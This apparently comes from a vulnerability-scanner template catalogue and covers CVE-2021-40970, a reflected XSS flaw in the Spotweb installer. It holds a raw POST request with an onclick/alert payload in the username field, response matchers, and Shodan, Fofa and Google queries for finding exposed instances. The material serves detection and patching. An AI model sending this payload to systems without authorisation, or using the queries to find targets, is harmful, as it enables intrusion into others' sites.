CVE-2021-40970: Spotweb <= 1.5.1 - Cross Site Scripting
- Template: CVE-2021-40970
- Name: Spotweb <= 1.5.1 - Cross Site Scripting
- Description: Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
- Remediation: Fixed in version 1.5.2
- Severity: medium
- Authors: theamanrawat
- Tags: cve2021, cve, xss, spotweb, spotweb_project, vuln
- References: https://github.com/spotweb/spotweb/, https://github.com/spotweb/spotweb/issues/711, https://nvd.nist.gov/vuln/detail/CVE-2021-40970, https://github.com/spotweb/spotweb
- Cves: CVE-2021-40970
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-40970.yaml
- Digest: 4a0a00473045022100d60064670a73fd603c872de2b2a8535115b9ebaf952b90278dc905fb8f262f46022041c945ec5dfa973a2e0a34e374b9a9f622ed989eabc12354388712a72ae0ce90
- Created at: 2023-06-24T18:27:16Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1249
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40970.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.02239
- Epss percentile: 0.83283
- Cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="spotweb - overview"
- Google-query: intitle:"spotweb - overview"
- Max-request: 1
- Product: spotweb
- Shodan-query: title:"SpotWeb - overview", http.title:"spotweb - overview"
- Vendor: spotweb_project
- Verified: true
Products
| Product | Indexed | Url |
|---|---|---|
| spotweb_project:spotweb | yes | /v1/products/spotweb_project/spotweb |
Labels
- Name: spotweb - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
- Remediation: Update to the latest version of spotweb or sanitize user input properly.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-40970
- Not known: requirements
```yaml
id: CVE-2021-40970
info:
name: Spotweb <= 1.5.1 - Cross Site Scripting
author: theamanrawat
severity: medium
description: |
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: Fixed in version 1.5.2
reference:
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/711
- https://nvd.nist.gov/vuln/detail/CVE-2021-40970
- https://github.com/spotweb/spotweb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-40970
cwe-id: CWE-79
epss-score: 0.02239
epss-percentile: 0.83283
cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: spotweb_project
product: spotweb
shodan-query:
- title:"SpotWeb - overview"
- http.title:"spotweb - overview"
fofa-query: title="spotweb - overview"
google-query: intitle:"spotweb - overview"
tags: cve2021,cve,xss,spotweb,spotweb_project,vuln
http:
- raw:
- |
POST /install.php?page=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
settingsform[username]=pdteam'+onclick='alert(document.domain)
matchers-condition: and
matchers:
- type: word
part: body
words:
- "onclick='alert(document.domain)"
- "Spotweb"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
digest: 4a0a00473045022100d60064670a73fd603c872de2b2a8535115b9ebaf952b90278dc905fb8f262f46022041c945ec5dfa973a2e0a34e374b9a9f622ed989eabc12354388712a72ae0ce90:922c64590222798bb761d5b6d8e72950
```